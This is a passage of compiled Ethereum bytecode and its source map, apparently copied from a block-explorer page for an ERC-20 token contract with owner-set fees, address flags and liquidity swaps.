8d36600461257e565b61100f565b34801561069e57600080fd5b50610409611024565b3480156106b357600080fd5b506104da6106c236600461277c565b61102a565b3480156106d357600080fd5b50610461611084565b3480156106e857600080fd5b50610409611094565b3480156106fd57600080fd5b506104da61070c3660046126df565b61109a565b34801561071d57600080fd5b506104da61072c36600461257e565b611164565b34801561073d57600080fd5b5061040961074c36600461257e565b6111c1565b34801561075d57600080fd5b506104da61076c366004612743565b6111e0565b34801561077d57600080fd5b5061046161078c36600461257e565b61121e565b34801561079d57600080fd5b5061040961123c565b3480156107b257600080fd5b506104da6107c136600461262e565b611242565b3480156107d257600080fd5b506104da6107e1366004612743565b6112a2565b3480156107f257600080fd5b506104096112dc565b34801561080757600080fd5b506104da61081636600461262e565b6112e2565b34801561082757600080fd5b50610498611342565b34801561083c57600080fd5b506104da611351565b34801561085157600080fd5b506104da6113d6565b34801561086657600080fd5b50610434611412565b34801561087b57600080fd5b50610409611421565b34801561089057600080fd5b50610409611427565b3480156108a557600080fd5b5061040961142d565b3480156108ba57600080fd5b506104da6108c936600461262e565b611433565b3480156108da57600080fd5b506104616108e9366004612662565b611493565b3480156108fa57600080fd5b506104da610909366004612743565b6114fb565b34801561091a57600080fd5b50610409611535565b34801561092f57600080fd5b5061046161093e36600461257e565b61153b565b34801561094f57600080fd5b5061046161095e366004612662565b611550565b34801561096f57600080fd5b5061046161097e36600461275b565b611564565b34801561098f57600080fd5b506104da61099e36600461268d565b611569565b3480156109af57600080fd5b506104da6109be366004612729565b611628565b3480156109cf57600080fd5b506104da6109de36600461277c565b61167b565b3480156109ef57600080fd5b506104096116d5565b348015610a0457600080fd5b506104da610a13366004612729565b6116db565b348015610a2457600080fd5b50610409611762565b348015610a3957600080fd5b50610498611768565b348015610a4e57600080fd5b50610409611777565b348015610a6357600080fd5b5061040961177d565b348015610a7857600080fd5b50610409611783565b348015610a8d57600080fd5b50610461611789565b348015610aa257600080fd5b50610409611799565b348015610ab757600080fd5b50610409610ac63660046125b6565b61179f565b348015610ad757600080fd5b506104986117ca565b348015610aec57600080fd5b506104096117d9565b348015610b0157600080fd5b506104da610b1036600461257e565b6117df565b348015610b2157600080fd5b506104da610b3036600461257e565b611895565b60085481565b606060018054610b4a90612ba7565b80601f0160208091040260200160405190810160405280929190818152602001828054610b7690612ba7565b8015610bc35780601f10610b9857610100808354040283529160200191610bc3565b820191906000526020600020905b815481529060010190602001808311610ba657829003601f168201915b5050505050905090565b6000610be1610bda6119a2565b84846119a6565b5060015b92915050565b601b5481565b601e546001600160a01b031681565b601a5490565b610c0e6119a2565b6000546001600160a01b03908116911614610c445760405162461bcd60e51b8152600401610c3b90612a07565b60405180910390fd5b6001600160a01b03919091166000908152600d60205260409020805460ff1916911515919091179055565b610c776119a2565b6000546001600160a01b03908116911614610ca45760405162461bcd60e51b8152600401610c3b90612a07565b601183905560128290556013819055610cc781610cc185856118ec565b906118ec565b601855505050565b6000610cdc848484611a5a565b50610d4d84610ce96119a2565b610d4885604051806060016040528060288152602001612c29602891396001600160a01b038a16600090815260066020526040812090610d276119a2565b6001600160a01b031681526020810191909152604001600020549190611dbf565b6119a6565b5060015b9392505050565b7f000000000000000000000000000000000000000000000000000000000000dead81565b610d846119a2565b6000546001600160a01b03908116911614610db15760405162461bcd60e51b8152600401610c3b90612a07565b6001600160a01b03919091166000908152600960205260409020805460ff1916911515919091179055565b6000610e13610e0a7f000000000000000000000000000000000000000000000000000000000000dead6111c1565b601a5490611df9565b905090565b60035460ff1690565b6000610be1610e2e6119a2565b84610d488560066000610e3f6119a2565b6001600160a01b03908116825260208083019390935260409182016000908120918c1681529252902054906118ec565b610e776119a2565b6000546001600160a01b03908116911614610ea45760405162461bcd60e51b8152600401610c3b90612a07565b601d55565b610eb16119a2565b6000546001600160a01b03908116911614610ede5760405162461bcd60e51b8152600401610c3b90612a07565b601f8054911515600160b01b0260ff60b01b19909216919091179055565b60035461010090046001600160a01b031681565b600c6020526000908152604090205460ff1681565b600a6020526000908152604090205460ff1681565b601f54600160a81b900460ff1681565b610f526119a2565b6000546001600160a01b03908116911614610f7f5760405162461bcd60e51b8152600401610c3b90612a07565b60c98210610f8c57600080fd5b60005b82811015611009578160096000868685818110610fbc57634e487b7160e01b600052603260045260246000fd5b9050602002016020810190610fd1919061257e565b6001600160a01b031681526020810191909152604001600020805460ff191691151591909117905561100281612be2565b9050610f8f565b50505050565b600b6020526000908152604090205460ff1681565b60145481565b6110326119a2565b6000546001600160a01b0390811691161461105f5760405162461bcd60e51b8152600401610c3b90612a07565b600e839055600f829055601081905561107c81610cc185856118ec565b601755505050565b601f54600160b81b900460ff1681565b60155481565b6110a26119a2565b6000546001600160a01b039081169116146110cf5760405162461bcd60e51b8152600401610c3b90612a07565b6107d182106110dd57600080fd5b60006110e98383612b71565b9050806110f5336111c1565b101561110057600080fd5b60005b8381101561115d5761114a3386868481811061112f57634e487b7160e01b600052603260045260246000fd5b9050602002016020810190611144919061257e565b85611e3b565b508061115581612be2565b915050611103565b5050505050565b61116c6119a2565b6000546001600160a01b039081169116146111995760405162461bcd60e51b8152600401610c3b90612a07565b600380546001600160a01b0390921661010002610100600160a81b0319909216919091179055565b6001600160a01b0381166000908152600560205260409020545b919050565b6111e86119a2565b6000546001600160a01b039081169116146112155760405162461bcd60e51b8152600401610c3b90612a07565b60085543600755565b6001600160a01b03166000908152600d602052604090205460ff1690565b60185481565b61124a6119a2565b6000546001600160a01b039081169116146112775760405162461bcd60e51b8152600401610c3b90612a07565b6001600160a01b03919091166000908152600c60205260409020805460ff1916911515919091179055565b6112aa6119a2565b6000546001600160a01b039081169116146112d75760405162461bcd60e51b8152600401610c3b90612a07565b601b55565b60115481565b6112ea6119a2565b6000546001600160a01b039081169116146113175760405162461bcd60e51b8152600401610c3b90612a07565b6001600160a01b03919091166000908152600a60205260409020805460ff1916911515919091179055565b6000546001600160a01b031690565b6113596119a2565b6000546001600160a01b039081169116146113865760405162461bcd60e51b8152600401610c3b90612a07565b6000805460405161dead926001600160a01b03909216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b03191661dead179055565b6113de6119a2565b6000546001600160a01b0390811691161461140b5760405162461bcd60e51b8152600401610c3b90612a07565b6000600755565b606060028054610b4a90612ba7565b601c5481565b601d5490565b60195481565b61143b6119a2565b6000546001600160a01b039081169116146114685760405162461bcd60e51b8152600401610c3b90612a07565b6001600160a01b03919091166000908152600b60205260409020805460ff1916911515919091179055565b6000610be16114a06119a2565b84610d4885604051806060016040528060258152602001612c5160259139600660006114ca6119a2565b6001600160a01b03908116825260208083019390935260409182016000908120918d16815292529020549190611dbf565b6115036119a2565b6000546001600160a01b039081169116146115305760405162461bcd60e51b8152600401610c3b90612a07565b601c55565b60165481565b60096020526000908152604090205460ff1681565b6000610d4d61155d6119a2565b8484611a5a565b101590565b6115716119a2565b6000546001600160a01b0390811691161461159e5760405162461bcd60e51b8152600401610c3b90612a07565b60c982106115ab57600080fd5b60005b828110156110095781600d60008686858181106115db57634e487b7160e01b600052603260045260246000fd5b90506020020160208101906115f0919061257e565b6001600160a01b031681526020810191909152604001600020805460ff191691151591909117905561162181612be2565b90506115ae565b6116306119a2565b6000546001600160a01b0390811691161461165d5760405162461bcd60e51b8152600401610c3b90612a07565b601f8054911515600160b81b0260ff60b81b19909216919091179055565b6116836119a2565b6000546001600160a01b039081169116146116b05760405162461bcd60e51b8152600401610c3b90612a07565b6014839055601582905560168190556116cd81610cc185856118ec565b601955505050565b60105481565b6116e36119a2565b6000546001600160a01b039081169116146117105760405162461bcd60e51b8152600401610c3b90612a07565b601f805460ff60a81b1916600160a81b831515021790556040517f53726dfcaf90650aa7eb35524f4d3220f07413c8d6cb404cc8c18bf5591bc15990611757908390612866565b60405180910390a150565b600f5481565b601f546001600160a01b031681565b60125481565b60135481565b60075481565b601f54600160b01b900460ff1681565b600e5481565b6001600160a01b03918216600090815260066020908152604080832093909416825291909152205490565b6004546001600160a01b031681565b60175481565b6117e76119a2565b6000546001600160a01b039081169116146118145760405162461bcd60e51b8152600401610c3b90612a07565b6001600160a01b03811661183a5760405162461bcd60e51b8152600401610c3b90612907565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b61189d6119a2565b6000546001600160a01b039081169116146118ca5760405162461bcd60e51b8152600401610c3b90612a07565b600480546001600160a01b0319166001600160a01b0392909216919091179055565b6000806118f98385612b39565b905083811015610d515760405162461bcd60e51b8152600401610c3b9061298f565b60008261192a57506000610be5565b60006119368385612b71565b9050826119438583612b51565b14610d515760405162461bcd60e51b8152600401610c3b906129c6565b6000610d5183836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611f1f565b3390565b6001600160a01b0383166119cc5760405162461bcd60e51b8152600401610c3b90612a81565b6001600160a01b0382166119f25760405162461bcd60e51b8152600401610c3b9061294d565b6001600160a01b0380841660008181526006602090815260408083209487168084529490915290819020849055517f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92590611a4d908590612ac5565b60405180910390a3505050565b60006001600160a01b038416611a825760405162461bcd60e51b8152600401610c3b90612a3c565b6001600160a01b038316611aa85760405162461bcd60e51b8152600401610c3b906128c4565b601f54600160a01b900460ff1615611acc57611ac5848484611e3b565b9050610d51565b6001600160a01b0384166000908152600b602052604090205460ff16158015611b0e57506001600160a01b0383166000908152600b602052604090205460ff16155b15611b2857611b1f82601b54611564565b611b2857600080fd5b6000611b33306111c1565b601d5490915081108015908190611b545750601f54600160a01b900460ff16155b8015611b7957506001600160a01b0386166000908152600c602052604090205460ff16155b8015611b8e5750601f54600160a81b900460ff165b15611bb457601f54600160b01b900460ff1615611bab57601d5491505b611bb482611f4d565b611bbe8686612088565b15611c2f576040805180820182526014815273496e73756666696369656e742042616c616e636560601b6020808301919091526001600160a01b038916600090815260059091529190912054611c15918690611dbf565b6001600160a01b0387166000908152600560205260409020555b6001600160a01b03861660009081526009602052604081205460ff1680611c6e57506001600160a01b03861660009081526009602052604090205460ff165b15611c7a575083611cde565b600060075411611c8957600080fd5b611c9d4360085460075461097e9190612b39565b8015611cc257506001600160a01b0386166000908152600c602052604090205460ff16155b15611cd057611cd0866120c7565b611cdb878787612135565b90505b601f54600160b81b900460ff168015611d1057506001600160a01b0386166000908152600a602052604090205460ff16155b15611d3657611d2d611d2582610cc1896111c1565b601c54611564565b611d3657600080fd5b6001600160a01b038616600090815260056020526040902054611d5990826118ec565b6001600160a01b0380881660008181526005602052604090819020939093559151908916907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90611dab908590612ac5565b60405180910390a360019350505050610d51565b60008184841115611de35760405162461bcd60e51b8152600401610c3b9190612871565b506000611df08486612b90565b95945050505050565b6000610d5183836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611dbf565b6040805180820182526014815273496e73756666696369656e742042616c616e636560601b6020808301919091526001600160a01b0386166000908152600590915291822054611e8c918490611dbf565b6001600160a01b038086166000908152600560205260408082209390935590851681522054611ebb90836118ec565b6001600160a01b0380851660008181526005602052604090819020939093559151908616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90611f0d908690612ac5565b60405180910390a35060019392505050565b60008183611f405760405162461bcd60e51b8152600401610c3b9190612871565b506000611df08486612b51565b601f805460ff60a01b1916600160a01b179055601954601454600091611f8391600291611f7d918290879061191b565b90611960565b90506000611f918383611df9565b9050611f9c81612282565b6014544790600090611fbc90611fb3906002611960565b60195490611df9565b90506000611fde6002611f7d84611f7d6014548861191b90919063ffffffff16565b90506000611ffb83611f7d6016548761191b90919063ffffffff16565b905060006120138261200d8786611df9565b90611df9565b90508015612036576003546120369061010090046001600160a01b031682612440565b811561205257600454612052906001600160a01b031683612440565b6000831180156120625750600087115b1561207157612071878461247b565b5050601f805460ff60a01b19169055505050505050565b6000816001600160a01b0316836001600160a01b0316141580610d5157506004546001600160a01b038481169116141580610d51575060009392505050565b6001600160a01b0381166000908152600d602052604090205460ff1615801561210957506001600160a01b0381166000908152600c602052604090205460ff16155b15612132576001600160a01b0381166000908152600d60205260409020805460ff191660011790555b50565b6001600160a01b0383166000908152600c6020526040812054819060ff1615612179576121726064611f7d6017548661191b90919063ffffffff16565b90506121b7565b6001600160a01b0384166000908152600c602052604090205460ff16156121b7576121b46064611f7d6018548661191b90919063ffffffff16565b90505b6001600160a01b0385166000908152600d602052604090205460ff1680156121f857506001600160a01b0385166000908152600c602052604090205460ff16155b156122005750815b8015612278573060009081526005602052604090205461222090826118ec565b30600081815260056020526040908190209290925590516001600160a01b038716907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9061226f908590612ac5565b60405180910390a35b611df08382611df9565b60408051600280825260608201835260009260208301908036833701905050905030816000815181106122c557634e487b7160e01b600052603260045260246000fd5b6001600160a01b03928316602091820292909201810191909152601e54604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b15801561231957600080fd5b505afa15801561232d573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190612351919061259a565b8160018151811061237257634e487b7160e01b600052603260045260246000fd5b6001600160a01b039283166020918202929092010152601e5461239891309116846119a6565b601e5460405163791ac94760e01b81526001600160a01b039091169063791ac947906123d1908590600090869030904290600401612aef565b600060405180830381600087803b1580156123eb57600080fd5b505af11580156123ff573d6000803e3d6000fd5b505050507f32cde87eb454f3a0b875ab23547023107cfad454363ec88ba5695e2c24aa52a78282604051612434929190612ace565b60405180910390a15050565b6040516001600160a01b0383169082156108fc029083906000818181858888f19350505050158015612476573d6000803e3d6000fd5b505050565b601e546124939030906001600160a01b0316846119a6565b601e546004805460405163f305d71960e01b81526001600160a01b039384169363f305d7199386936124d39330938a93600093849392169142910161282b565b6060604051808303818588803b1580156124ec57600080fd5b505af1158015612500573d6000803e3d6000fd5b50505050506040513d601f19601f8201168201806040525081019061115d91906127a7565b60008083601f840112612536578182fd5b50813567ffffffffffffffff81111561254d578182fd5b602083019150836020808302850101111561256757600080fd5b9250929050565b803580151581146111db57600080fd5b60006020828403121561258f578081fd5b8135610d5181612c13565b6000602082840312156125ab578081fd5b8151610d5181612c13565b600080604083850312156125c8578081fd5b82356125d381612c13565b915060208301356125e381612c13565b809150509250929050565b600080600060608486031215612602578081fd5b833561260d81612c13565b9250602084013561261d81612c13565b929592945050506040919091013590565b60008060408385031215612640578182fd5b823561264b81612c13565b91506126596020840161256e565b90509250929050565b60008060408385031215612674578182fd5b823561267f81612c13565b946020939093013593505050565b6000806000604084860312156126a1578283fd5b833567ffffffffffffffff8111156126b7578384fd5b6126c386828701612525565b90945092506126d690506020850161256e565b90509250925092565b6000806000604084860312156126f3578283fd5b833567ffffffffffffffff811115612709578384fd5b61271586828701612525565b909790965060209590950135949350505050565b60006020828403121561273a578081fd5b610d518261256e565b600060208284031215612754578081fd5b5035919050565b6000806040838503121561276d578182fd5b50508035926020909101359150565b600080600060608486031215612790578283fd5b505081359360208301359350604090920135919050565b6000806000606084860312156127bb578283fd5b8351925060208401519150604084015190509250925092565b6000815180845260208085019450808401835b8381101561280c5781516001600160a01b0316875295820195908201906001016127e7565b509495945050505050565b6001600160a01b0391909116815260200190565b6001600160a01b039687168152602081019590955260408501939093526060840191909152909216608082015260a081019190915260c00190565b901515815260200190565b6000602080835283518082850152825b8181101561289d57858101830151858201604001528201612881565b818111156128ae5783604083870101525b50601f01601f1916929092016040019392505050565b60208082526023908201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260408201526265737360e81b606082015260800190565b60208082526026908201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160408201526564647265737360d01b606082015260800190565b60208082526022908201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604082015261737360f01b606082015260800190565b6020808252601b908201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604082015260600190565b60208082526021908201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6040820152607760f81b606082015260800190565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b60208082526025908201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604082015264647265737360d81b606082015260800190565b60208082526024908201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646040820152637265737360e01b606082015260800190565b90815260200190565b600083825260406020830152612ae760408301846127d4565b949350505050565b600086825285602083015260a06040830152612b0e60a08301866127d4565b6001600160a01b0394909416606083015250608001529392505050565b60ff91909116815260200190565b60008219821115612b4c57612b4c612bfd565b500190565b600082612b6c57634e487b7160e01b81526012600452602481fd5b500490565b6000816000190483118215151615612b8b57612b8b612bfd565b500290565b600082821015612ba257612ba2612bfd565b500390565b600281046001821680612bbb57607f821691505b60208210811415612bdc57634e487b7160e01b600052602260045260246000fd5b50919050565b6000600019821415612bf657612bf6612bfd565b5060010190565b634e487b7160e01b600052601160045260246000fd5b6001600160a01b038116811461213257600080fdfe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa26469706673582212204f1cb5cb41d762e7f972c2a4a8638f4e32deb2d8d7baf53f4534f48aebee9cab64736f6c63430008000033

Deployed Bytecode Sourcemap

21178:521:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;4851:25;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;8960:83;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;10254:161::-;;;;;;;;;;-1:-1:-1;10254:161:0;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;5649:26::-;;;;;;;;;;;;;:::i;5766:41::-;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;9237:100::-;;;;;;;;;;;;;:::i;15267:109::-;;;;;;;;;;-1:-1:-1;15267:109:0;;;;;:::i;:::-;;:::i;:::-;;11715:259;;;;;;;;;;-1:-1:-1;11715:259:0;;;;;:::i;:::-;;:::i;14080:313::-;;;;;;;;;;-1:-1:-1;14080:313:0;;;;;:::i;:::-;;:::i;4597:81::-;;;;;;;;;;;;;:::i;11044:135::-;;;;;;;;;;-1:-1:-1;11044:135:0;;;;;:::i;:::-;;:::i;13541:128::-;;;;;;;;;;;;;:::i;9146:83::-;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;9623:218::-;;;;;;;;;;-1:-1:-1;9623:218:0;;;;;:::i;:::-;;:::i;12837:124::-;;;;;;;;;;-1:-1:-1;12837:124:0;;;;;:::i;:::-;;:::i;13404:125::-;;;;;;;;;;-1:-1:-1;13404:125:0;;;;;:::i;:::-;;:::i;4512:36::-;;;;;;;;;;;;;:::i;5053:45::-;;;;;;;;;;-1:-1:-1;5053:45:0;;;;;:::i;:::-;;:::i;4944:47::-;;;;;;;;;;-1:-1:-1;4944:47:0;;;;;:::i;:::-;;:::i;5881:40::-;;;;;;;;;;;;;:::i;11187:260::-;;;;;;;;;;-1:-1:-1;11187:260:0;;;;;:::i;:::-;;:::i;4998:48::-;;;;;;;;;;-1:-1:-1;4998:48:0;;;;;:::i;:::-;;:::i;5379:30::-;;;;;;;;;;;;;:::i;11455:252::-;;;;;;;;;;-1:-1:-1;11455:252:0;;;;;:::i;:::-;;:::i;5980:29::-;;;;;;;;;;;;;:::i;5416:30::-;;;;;;;;;;;;;:::i;14504:368::-;;;;;;;;;;-1:-1:-1;14504:368:0;;;;;:::i;:::-;;:::i;12969:121::-;;;;;;;;;;-1:-1:-1;12969:121:0;;;;;:::i;:::-;;:::i;9345:119::-;;;;;;;;;;-1:-1:-1;9345:119:0;;;;;:::i;:::-;;:::i;15384:113::-;;;;;;;;;;-1:-1:-1;15384:113:0;;;;;:::i;:::-;;:::i;14401:95::-;;;;;;;;;;-1:-1:-1;14401:95:0;;;;;:::i;:::-;;:::i;5526:33::-;;;;;;;;;;;;;:::i;10768:129::-;;;;;;;;;;-1:-1:-1;10768:129:0;;;;;:::i;:::-;;:::i;12356:113::-;;;;;;;;;;-1:-1:-1;12356:113:0;;;;;:::i;:::-;;:::i;5265:32::-;;;;;;;;;;;;;:::i;12580:125::-;;;;;;;;;;-1:-1:-1;12580:125:0;;;;;:::i;:::-;;:::i;2864:79::-;;;;;;;;;;;;;:::i;3089:155::-;;;;;;;;;;;;;:::i;15751:74::-;;;;;;;;;;;;;:::i;9051:87::-;;;;;;;;;;;;;:::i;5683:27::-;;;;;;;;;;;;;:::i;10126:120::-;;;;;;;;;;;;;:::i;5566:39::-;;;;;;;;;;;;;:::i;10905:127::-;;;;;;;;;;-1:-1:-1;10905:127:0;;;;;:::i;:::-;;:::i;9849:269::-;;;;;;;;;;-1:-1:-1;9849:269:0;;;;;:::i;:::-;;:::i;12713:116::-;;;;;;;;;;-1:-1:-1;12713:116:0;;;;;:::i;:::-;;:::i;5453:25::-;;;;;;;;;;;;;:::i;4887:50::-;;;;;;;;;;-1:-1:-1;4887:50:0;;;;;:::i;:::-;;:::i;13905:167::-;;;;;;;;;;-1:-1:-1;13905:167:0;;;;;:::i;:::-;;:::i;17798:86::-;;;;;;;;;;-1:-1:-1;17798:86:0;;;;;:::i;:::-;;:::i;15023:236::-;;;;;;;;;;-1:-1:-1;15023:236:0;;;;;:::i;:::-;;:::i;12477:95::-;;;;;;;;;;-1:-1:-1;12477:95:0;;;;;:::i;:::-;;:::i;11986:358::-;;;;;;;;;;-1:-1:-1;11986:358:0;;;;;:::i;:::-;;:::i;5226:26::-;;;;;;;;;;;;;:::i;13225:171::-;;;;;;;;;;-1:-1:-1;13225:171:0;;;;;:::i;:::-;;:::i;5188:31::-;;;;;;;;;;;;;:::i;5814:26::-;;;;;;;;;;;;;:::i;5304:32::-;;;;;;;;;;;;;:::i;5343:27::-;;;;;;;;;;;;;:::i;4818:26::-;;;;;;;;;;;;;:::i;5928:45::-;;;;;;;;;;;;;:::i;5150:31::-;;;;;;;;;;;;;:::i;9472:143::-;;;;;;;;;;-1:-1:-1;9472:143:0;;;;;:::i;:::-;;:::i;4555:35::-;;;;;;;;;;;;;:::i;5487:32::-;;;;;;;;;;;;;:::i;3252:244::-;;;;;;;;;;-1:-1:-1;3252:244:0;;;;;:::i;:::-;;:::i;13098:119::-;;;;;;;;;;-1:-1:-1;13098:119:0;;;;;:::i;:::-;;:::i;4851:25::-;;;;:::o;8960:83::-;8997:13;9030:5;9023:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;8960:83;:::o;10254:161::-;10329:4;10346:39;10355:12;:10;:12::i;:::-;10369:7;10378:6;10346:8;:39::i;:::-;-1:-1:-1;10403:4:0;10254:161;;;;;:::o;5649:26::-;;;;:::o;5766:41::-;;;-1:-1:-1;;;;;5766:41:0;;:::o;9237:100::-;9317:12;;9237:100;:::o;15267:109::-;3008:12;:10;:12::i;:::-;2998:6;;-1:-1:-1;;;;;2998:6:0;;;:22;;;2990:67;;;;-1:-1:-1;;;2990:67:0;;;;;;;:::i;:::-;;;;;;;;;-1:-1:-1;;;;;15344:15:0;;;::::1;;::::0;;;:4:::1;:15;::::0;;;;:24;;-1:-1:-1;;15344:24:0::1;::::0;::::1;;::::0;;;::::1;::::0;;15267:109::o;11715:259::-;3008:12;:10;:12::i;:::-;2998:6;;-1:-1:-1;;;;;2998:6:0;;;:22;;;2990:67;;;;-1:-1:-1;;;2990:67:0;;;;;;;:::i;:::-;11794:17:::1;:21:::0;;;11826:17:::1;:21:::0;;;11858:12:::1;:16:::0;;;11908:58:::1;11873:1:::0;11908:40:::1;11814:1:::0;11846;11908:21:::1;:40::i;:::-;:44:::0;::::1;:58::i;:::-;11887:18;:79:::0;-1:-1:-1;;;11715:259:0:o;14080:313::-;14178:4;14195:36;14205:6;14213:9;14224:6;14195:9;:36::i;:::-;;14242:121;14251:6;14259:12;:10;:12::i;:::-;14273:89;14311:6;14273:89;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;14273:19:0;;;;;;:11;:19;;;;;;14293:12;:10;:12::i;:::-;-1:-1:-1;;;;;14273:33:0;;;;;;;;;;;;-1:-1:-1;14273:33:0;;;:89;:37;:89::i;:::-;14242:8;:121::i;:::-;-1:-1:-1;14381:4:0;14080:313;;;;;;:::o;4597:81::-;;;:::o;11044:135::-;3008:12;:10;:12::i;:::-;2998:6;;-1:-1:-1;;;;;2998:6:0;;;:22;;;2990:67;;;;-1:-1:-1;;;2990:67:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;11134:26:0;;;::::1;;::::0;;;:17:::1;:26;::::0;;;;:37;;-1:-1:-1;;11134:37:0::1;::::0;::::1;;::::0;;;::::1;::::0;;11044:135::o;13541:128::-;13594:7;13621:40;13638:22;13648:11;13638:9;:22::i;:::-;13621:12;;;:16;:40::i;:::-;13614:47;;13541:128;:::o;9146:83::-;9212:9;;;;9146:83;:::o;9623:218::-;9711:4;9728:83;9737:12;:10;:12::i;:::-;9751:7;9760:50;9799:10;9760:11;:25;9772:12;:10;:12::i;:::-;-1:-1:-1;;;;;9760:25:0;;;;;;;;;;;;;;;;;-1:-1:-1;9760:25:0;;;:34;;;;;;;;;;;:38;:50::i;12837:124::-;3008:12;:10;:12::i;:::-;2998:6;;-1:-1:-1;;;;;2998:6:0;;;:22;;;2990:67;;;;-1:-1:-1;;;2990:67:0;;;;;;;:::i;:::-;12919:23:::1;:34:::0;12837:124::o;13404:125::-;3008:12;:10;:12::i;:::-;2998:6;;-1:-1:-1;;;;;2998:6:0;;;:22;;;2990:67;;;;-1:-1:-1;;;2990:67:0;;;;;;;:::i;:::-;13485:25:::1;:36:::0;;;::::1;;-1:-1:-1::0;;;13485:36:0::1;-1:-1:-1::0;;;;13485:36:0;;::::1;::::0;;;::::1;::::0;;13404:125::o;4512:36::-;;;;;;-1:-1:-1;;;;;4512:36:0;;:::o;5053:45::-;;;;;;;;;;;;;;;:::o;4944:47::-;;;;;;;;;;;;;;;:::o;5881:40::-;;;-1:-1:-1;;;5881:40:0;;;;;:::o;11187:260::-;3008:12;:10;:12::i;:::-;2998:6;;-1:-1:-1;;;;;2998:6:0;;;:22;;;2990:67;;;;-1:-1:-1;;;2990:67:0;;;;;;;:::i;:::-;11315:3:::1;11296:22:::0;::::1;11288:31;;;::::0;::::1;;11335:9;11330:110;11346:20:::0;;::::1;11330:110;;;11422:6;11388:17;:31;11406:9;;11416:1;11406:12;;;;;-1:-1:-1::0;;;11406:12:0::1;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;11388:31:0::1;::::0;;::::1;::::0;::::1;::::0;;;;;;-1:-1:-1;11388:31:0;:40;;-1:-1:-1;;11388:40:0::1;::::0;::::1;;::::0;;;::::1;::::0;;11368:3:::1;::::0;::::1;:::i;:::-;;;11330:110;;;;11187:260:::0;;;:::o;4998:48::-;;;;;;;;;;;;;;;:::o;5379:30::-;;;;:::o;11455:252::-;3008:12;:10;:12::i;:::-;2998:6;;-1:-1:-1;;;;;2998:6:0;;;:22;;;2990:67;;;;-1:-1:-1;;;2990:67:0;;;;;;;:::i;:::-;11534:16:::1;:20:::0;;;11565:16:::1;:20:::0;;;11596:11:::1;:15:::0;;;11644:55:::1;11610:1:::0;11644:38:::1;11553:1:::0;11584;11644:20:::1;:38::i;:55::-;11624:17;:75:::0;-1:-1:-1;;;11455:252:0:o;5980:29::-;;;-1:-1:-1;;;5980:29:0;;;;;:::o;5416:30::-;;;;:::o;14504:368::-;3008:12;:10;:12::i;:::-;2998:6;;-1:-1:-1;;;;;2998:6:0;;;:22;;;2990:67;;;;-1:-1:-1;;;2990:67:0;;;;;;;:::i;:::-;14636:4:::1;14617:23:::0;::::1;14609:32;;;::::0;::::1;;14652:12;14667:25;14676:9:::0;14667:6;:25:::1;:::i;:::-;14652:40;;14736:4;14711:21;14721:10;14711:9;:21::i;:::-;:29;;14703:38;;;::::0;::::1;;14756:6;14752:113;14766:20:::0;;::::1;14752:113;;;14807:46;14822:10;14833:9;;14843:1;14833:12;;;;;-1:-1:-1::0;;;14833:12:0::1;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;14846:6;14807:14;:46::i;:::-;-1:-1:-1::0;14788:3:0;::::1;::::0;::::1;:::i;:::-;;;;14752:113;;;;3068:1;14504:368:::0;;;:::o;12969:121::-;3008:12;:10;:12::i;:::-;2998:6;;-1:-1:-1;;;;;2998:6:0;;;:22;;;2990:67;;;;-1:-1:-1;;;2990:67:0;;;;;;;:::i;:::-;13047:13:::1;:35:::0;;-1:-1:-1;;;;;13047:35:0;;::::1;;;-1:-1:-1